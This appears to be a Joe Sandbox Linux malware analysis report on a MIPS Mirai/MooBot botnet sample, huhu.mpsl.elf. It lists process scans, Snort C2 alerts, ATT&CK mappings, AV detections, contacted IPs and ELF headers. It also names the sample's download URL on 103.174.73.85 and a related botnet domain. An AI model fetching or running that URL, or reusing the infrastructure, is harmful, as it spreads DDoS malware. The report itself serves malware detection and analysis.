Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/269/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/270/cmdline	Jump to behavior

Source: huhu.mpsl.elf, 5525.1.0000564cd79f3000.0000564cd7a7a000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: huhu.mpsl.elf, 5525.1.0000564cd79f3000.0000564cd7a7a000.rw-.sdmp	Binary or memory string: LV!/etc/qemu-binfmt/mipsel
Source: huhu.mpsl.elf, 5525.1.00007fff7233d000.00007fff7235e000.rw-.sdmp	Binary or memory string: vx86_64/usr/bin/qemu-mipsel/tmp/huhu.mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/huhu.mpsl.elf
Source: huhu.mpsl.elf, 5525.1.00007fff7233d000.00007fff7235e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Source: Yara match	File source: huhu.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5525.1.00007fea18400000.00007fea1842a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: huhu.mpsl.elf PID: 5525, type: MEMORYSTR

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
huhu.mpsl.elf	43%	Virustotal		Browse
huhu.mpsl.elf	55%	ReversingLabs	Linux.Trojan.Mirai
huhu.mpsl.elf	100%	Avira	EXP/ELF.Mirai.Gen.Z.A

Name	Source	Malicious	Antivirus Detection	Reputation
http://103.174.73.85/huhu.mpsl;	huhu.mpsl.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	huhu.mpsl.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	huhu.mpsl.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
41.108.247.45	unknown	Algeria	36947	ALGTEL-ASDZ	false
167.149.19.125	unknown	United States	25899	LSNETUS	false
45.74.146.108	unknown	United States	19397	ACN-DIGITAL-PHONEUS	false
197.66.131.240	unknown	South Africa	16637	MTNNS-ASZA	false
197.163.185.236	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.213.201.240	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.49.96.30	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
154.109.12.133	unknown	Tunisia	37693	TUNISIANATN	false
41.133.63.61	unknown	South Africa	10474	OPTINETZA	false
65.3.44.73	unknown	United States	16509	AMAZON-02US	false
119.154.170.143	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
197.235.33.40	unknown	Mozambique	37223	VODACOM-MZ	false
200.4.16.199	unknown	Colombia	8026	EMPRESACOLOMBIANADEPETROLEOSECOPETROLCO	false
197.34.221.161	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.196.116.140	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.127.137.9	unknown	South Africa	16637	MTNNS-ASZA	false
97.49.86.126	unknown	United States	22394	CELLCOUS	false
41.64.208.87	unknown	Egypt	36992	ETISALAT-MISREG	false
156.124.147.139	unknown	United States	393504	XNSTGCA	false
157.17.14.41	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.220.118.206	unknown	Kenya	15399	WANANCHI-KE	false
157.103.33.118	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
157.84.108.147	unknown	United Kingdom	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.115.248.27	unknown	South Africa	16637	MTNNS-ASZA	false
143.144.149.25	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
41.3.237.96	unknown	South Africa	29975	VODACOM-ZA	false
41.8.13.34	unknown	South Africa	29975	VODACOM-ZA	false
17.237.253.162	unknown	United States	714	APPLE-ENGINEERINGUS	false
206.0.89.198	unknown	United States	174	COGENT-174US	false
157.33.200.159	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.175.162.129	unknown	South Africa	30844	LIQUID-ASGB	false
195.20.89.129	unknown	Germany	12312	ECOTELDE	false
220.74.83.132	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
197.1.131.251	unknown	Tunisia	37705	TOPNETTN	false
41.25.2.97	unknown	South Africa	36994	Vodacom-VBZA	false
89.196.77.92	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
199.72.215.149	unknown	United States	7029	WINDSTREAMUS	false
41.237.139.171	unknown	Egypt	8452	TE-ASTE-ASEG	false
131.6.66.67	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
157.244.145.112	unknown	Canada	32934	FACEBOOKUS	false
41.146.109.189	unknown	South Africa	5713	SAIX-NETZA	false
157.134.164.215	unknown	United States	600	OARNET-ASUS	false
197.211.114.49	unknown	Malawi	37187	SKYBANDMW	false
181.219.157.201	unknown	Brazil	21826	CorporacionTelemicCAVE	false
211.206.149.27	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
182.163.88.212	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
197.31.227.221	unknown	Tunisia	37492	ORANGE-TN	false
223.52.120.83	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
170.88.115.87	unknown	United States	263627	WnetsistemComercioeServicosdeInformaticaLtdaBR	false
146.206.112.56	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
90.58.172.218	unknown	France	3215	FranceTelecom-OrangeFR	false
143.53.178.31	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
59.254.238.145	unknown	China	37937	CNNIC-EGOVNET-APChinaeGovNetInformationCenterCN	false
157.202.153.184	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
197.175.193.93	unknown	South Africa	37168	CELL-CZA	false
157.244.145.100	unknown	Canada	32934	FACEBOOKUS	false
157.199.162.129	unknown	United States	3356	LEVEL3US	false
199.19.249.66	unknown	United States	396982	GOOGLE-PRIVATE-CLOUDUS	false
143.84.198.166	unknown	United States	1535	DNIC-ASBLK-01534-01546US	false
41.64.208.92	unknown	Egypt	36992	ETISALAT-MISREG	false
31.224.36.168	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
54.253.84.90	unknown	United States	16509	AMAZON-02US	false
157.223.107.198	unknown	United States	4704	SANNETRakutenMobileIncJP	false
1.56.116.62	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
190.128.24.67	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
41.64.233.35	unknown	Egypt	36992	ETISALAT-MISREG	false
66.239.46.68	unknown	United States	2828	XO-AS15US	false
197.233.253.14	unknown	Namibia	36999	TELECOM-NAMIBIANA	false
170.57.208.106	unknown	United States	46298	HCHD-ASUS	false
18.56.165.51	unknown	United States	3	MIT-GATEWAYSUS	false
171.188.4.141	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
41.151.3.252	unknown	South Africa	5713	SAIX-NETZA	false
109.226.104.72	unknown	Russian Federation	8439	AISTTogliattiRussiaRU	false
154.81.161.243	unknown	Seychelles	35916	MULTA-ASN1US	false
152.167.19.48	unknown	Dominican Republic	28118	ALTICEDOMINICANASADO	false
41.44.233.213	unknown	Egypt	8452	TE-ASTE-ASEG	false
50.192.42.117	unknown	United States	7922	COMCAST-7922US	false
157.105.195.242	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
209.192.241.133	unknown	United States	7979	SERVERS-COMUS	false
189.101.254.24	unknown	Brazil	28573	CLAROSABR	false
62.90.169.76	unknown	Israel	1680	NV-ASNCELLCOMltdIL	false
36.132.150.38	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
157.186.124.5	unknown	Russian Federation	22192	SSHENETUS	false
114.133.53.42	unknown	Malaysia	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
53.113.56.249	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
183.88.205.216	unknown	Thailand	45758	TRIPLETNET-AS-APTripleTInternetTripleTBroadbandTH	false
165.100.36.84	unknown	Japan	10006	SECOMTRUSTSECOMTrustSystemsCoLtdJP	false
63.91.75.57	unknown	United States	701	UUNETUS	false
138.167.101.62	unknown	United States	1540	DNIC-ASBLK-01534-01546US	false
197.159.104.94	unknown	Kenya	37421	CellulantKE	false
185.91.25.5	unknown	Germany	200865	TISHKNETIQ	false
153.76.170.40	unknown	United States	14962	NCR-252US	false
197.32.129.147	unknown	Egypt	8452	TE-ASTE-ASEG	false
60.81.169.247	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
105.24.139.236	unknown	Mauritius	37100	SEACOM-ASMU	false
157.213.248.208	unknown	United States	4704	SANNETRakutenMobileIncJP	false
49.8.38.157	unknown	Korea Republic of	9858	KRNICNETKoreaInternetSecurityAgencyKR	false
197.254.179.190	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
2.4.227.103	unknown	France	3215	FranceTelecom-OrangeFR	false
60.124.181.56	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
65.3.44.73	7zk4advoge	Get hash	malicious	Gafgyt, Mirai	Browse
119.154.170.143	FOb4EHGLW6.elf	Get hash	malicious	Mirai	Browse
197.235.33.40	UDABfsLPdO.elf	Get hash	malicious	Mirai	Browse
	MsdeSNMM2r.elf	Get hash	malicious	Mirai, Moobot	Browse
	oKToHgW7tv.elf	Get hash	malicious	Mirai	Browse
	Hilix.x86.elf	Get hash	malicious	Mirai	Browse
	mips-20221021-0638.elf	Get hash	malicious	Mirai	Browse
	Q4rmBnX2NT.elf	Get hash	malicious	Mirai	Browse
	x86_64	Get hash	malicious	Mirai	Browse
41.108.247.45	DJowS0XtNv	Get hash	malicious	Mirai	Browse
45.74.146.108	usKVq35tAu.elf	Get hash	malicious	Mirai	Browse
197.66.131.240	f46hRyQrrk.elf	Get hash	malicious	Mirai	Browse
197.163.185.236	fFJrtfaPIg.elf	Get hash	malicious	Mirai	Browse
	8QPLnxrVuD.elf	Get hash	malicious	Mirai, Moobot	Browse
	QFWWdkBKYO.elf	Get hash	malicious	Mirai, Moobot	Browse
	Antisocial.arm	Get hash	malicious	Mirai	Browse
	77ZNda8ADY	Get hash	malicious	Mirai	Browse
	HszMzwJSc1	Get hash	malicious	Mirai	Browse
	v5SryALvFV	Get hash	malicious	Mirai	Browse
157.213.201.240	mips.elf	Get hash	malicious	Mirai, Moobot	Browse
157.49.96.30	3ige8T7Wbz.elf	Get hash	malicious	Mirai, Moobot	Browse
	B6K2K6o4jf.elf	Get hash	malicious	Mirai	Browse
	znRL8YPhwj.elf	Get hash	malicious	Mirai	Browse
	LZiStyX7pB	Get hash	malicious	Mirai	Browse
41.133.63.61	D9UijsgjDB.elf	Get hash	malicious	Mirai	Browse
	vJCZOQ8e4V.elf	Get hash	malicious	Mirai, Moobot	Browse
	fWcRqZWj6V	Get hash	malicious	Mirai	Browse
	MyZE8SYzbH	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
haha.skyljne.click	huhu.arm5.elf	Get hash	malicious	Mirai	Browse	103.174.73.85
	huhu.arm7.elf	Get hash	malicious	Mirai	Browse	103.174.73.85
	huhu.mips.elf	Get hash	malicious	Mirai	Browse	103.174.73.85
	3wN5NfZaD8.elf	Get hash	malicious	Mirai	Browse	103.180.149.156
	NbQNRQqvyk.elf	Get hash	malicious	Mirai	Browse	103.180.149.156
	4J8MjfJo3m.elf	Get hash	malicious	Mirai	Browse	103.180.149.156
	huhu.arm5.elf	Get hash	malicious	Mirai	Browse	45.142.182.123
	huhu.mips.elf	Get hash	malicious	Mirai	Browse	45.142.182.123
	huhu.x86.elf	Get hash	malicious	Mirai	Browse	45.142.182.123
	huhu.arm7.elf	Get hash	malicious	Mirai	Browse	45.142.182.123

Process:	/tmp/huhu.mpsl.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.5110854081804286
Encrypted:	false
SSDEEP:	3:TgCfWJ03:TgCfWJ03
MD5:	76283332699F6E3610B304D8F183E479
SHA1:	CBD5956326F70030F7605A1C93C86CAFFE181270
SHA-256:	DF3F59C4E4C25A1C45814258C1ED8C30AE2B25A7574610FDCE35927B7BDF8FED
SHA-512:	65ABA505575F63D461813BBDEFB97B9EC9A63B7DC3C2B7F5C68FBE54D16CFC20566F09BB3919DA4A98712A02A9F22FC1A1CFE4F4713596FE9F7C622E1DACAB81
Malicious:	false
Reputation:	low
Preview:	/tmp/huhu.mpsl.elf.

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.132394883132005
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	huhu.mpsl.elf
File size:	190'804 bytes
MD5:	2098aad4fe0a2888aad675b182103e8a
SHA1:	5708fd1c022c066a5b58d7f318a1d819dab59745
SHA256:	60c319eb8a4bd4c05979ff02d710c71bc506fc175ca34909d42637ba12ac2a50
SHA512:	f42c1f7c5c4976cb8099ea30256ae589766e8c4bed159020246a6c12da31533558469b9b27ae7bce66d9376c870159527e0901c6a343fa4596e097068753bbd5
SSDEEP:	3072:CeomrQ91re89qgae+BwfJnpsj6uxLlzK0za:COQT689Ke+BA9psrJWc
TLSH:	DC14D91AAB510FBBDCAFDD3706E90B0139CCA54722A83B363674D528F54A54B49E3C78
File Content Preview:	.ELF....................`.@.4...$.......4. ...(...............@...@...........................F...F..T..............Q.td...............................<<\.'!......'.......................<.\.'!... .........9'.. ........................<.[.'!...$........a9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	190244
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x260f0	0x0	0x6	AX	16
.fini	PROGBITS	0x426210	0x26210	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x426270	0x26270	0x2f50	0x0	0x2	A	16
.ctors	PROGBITS	0x4691c4	0x291c4	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x4691d0	0x291d0	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4691dc	0x291dc	0xec	0x0	0x3	WA	4
.data	PROGBITS	0x4692e0	0x292e0	0x49f8	0x0	0x3	WA	32
.got	PROGBITS	0x46dce0	0x2dce0	0x9e0	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x46e6c0	0x2e6c0	0x50	0x0	0x10000003	WAp	4
.bss	NOBITS	0x46e710	0x2e6c0	0x4758	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x12b4	0x2e6c0	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x2e6c0	0x64	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x291c0	0x291c0	5.4827	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x291c4	0x4691c4	0x4691c4	0x54fc	0x9ca4	1.2103	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report huhu.mpsl.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.00zF3p (deleted)

/tmp/qemu-open.01fQBs (deleted)

/tmp/qemu-open.06H2jq (deleted)

/tmp/qemu-open.08Ti3p (deleted)

/tmp/qemu-open.0BXsLq (deleted)

/tmp/qemu-open.0ITcis (deleted)

/tmp/qemu-open.0PP7Qo (deleted)

/tmp/qemu-open.0XafPr (deleted)

/tmp/qemu-open.0XiJ4p (deleted)

/tmp/qemu-open.0ZaJFr (deleted)

/tmp/qemu-open.0c4Rip (deleted)

/tmp/qemu-open.0d54Hp (deleted)

/tmp/qemu-open.0hmdAs (deleted)

/tmp/qemu-open.0nI2or (deleted)

/tmp/qemu-open.1Cjhuo (deleted)

/tmp/qemu-open.1FHPor (deleted)

/tmp/qemu-open.1S7ois (deleted)

/tmp/qemu-open.1UP3Ko (deleted)

/tmp/qemu-open.1V1m2p (deleted)

/tmp/qemu-open.1eBEMq (deleted)

/tmp/qemu-open.1f03lq (deleted)

/tmp/qemu-open.1fAEso (deleted)

/tmp/qemu-open.1lLT6o (deleted)

/tmp/qemu-open.1mb9dr (deleted)

/tmp/qemu-open.1oeP3r (deleted)

/tmp/qemu-open.1tz7Zq (deleted)

/tmp/qemu-open.27eqbq (deleted)

Linux Analysis Report
huhu.mpsl.elf